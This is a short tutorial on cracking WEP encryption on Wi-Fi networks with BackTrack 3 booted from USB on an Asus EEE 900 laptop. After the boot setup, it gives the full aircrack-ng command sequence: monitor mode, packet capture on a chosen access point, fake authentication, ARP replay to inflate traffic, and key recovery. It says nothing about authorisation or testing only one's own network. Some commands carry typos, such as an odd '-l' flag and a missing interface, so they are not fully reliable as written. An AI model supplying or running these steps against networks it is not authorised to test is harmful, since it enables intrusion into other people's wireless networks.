Crack WEP with BT3 on a Asus EEE 900 series

This article cover the cracking of Wired Equivalent Privacy with BackTrack 3 on an Asus EEE 900 series laptop.


First, you'll need to create a bootable USB flash drive as the EEE 900 series does not have a CD-ROM drive to boot the live cd.

To do this, follow the instructions here.

If you're familiar enough with ISO files, you can use a program such as winRAR to extract the files to the USB flash drive of your choice. BT3 should have 2 folders in the ISO image, one is named 'boot' and the other 'BT3'.

Once you've extracted the folders to your USB drive, BT3 makes it fairly easy to make the drive bootable.

For Windows users, open a command prompt.

Go to the drive letter of your USB drive in the command prompt. For example C:\Windows\G:

You're prompt should change to G:\boot\

Now, type in bootinst.bat and hit Enter

This will make the USB drive bootable.


Moving along, you'll need to setup your EEE 900 boot off the USB flash drive. The easiest way we know of to do this is to simply hit the Esc key when you get to the intial BIOS screen at startup and select your flashdrive as the bootable device.

You'll then be booting off of the BT3 live cd files.

If you get stuck with display options, just enter the first option, number 0, and hit Return

Once in BT3, open a command prompt and type the following:

airmon-ng stop ath0

airmon-ng start wifi0

airodump-ng -c <channel number> -w <name of capture file such as 'wepivs'> --bssid <mac address of access point> wifi0

Next, type in

aireplay-ng -l 0 -a <mac address of access point> -h <your mac address>

Next type in
aireplay-ng -3 -b <mac address of access point> -h <your mac address> wifi0

This will increase the amount of interesting packets.

When you've think you've gathered enough packets, type in

aircrack-ng -n 64 -b <mac address of access point> <capture file name with .cap extension>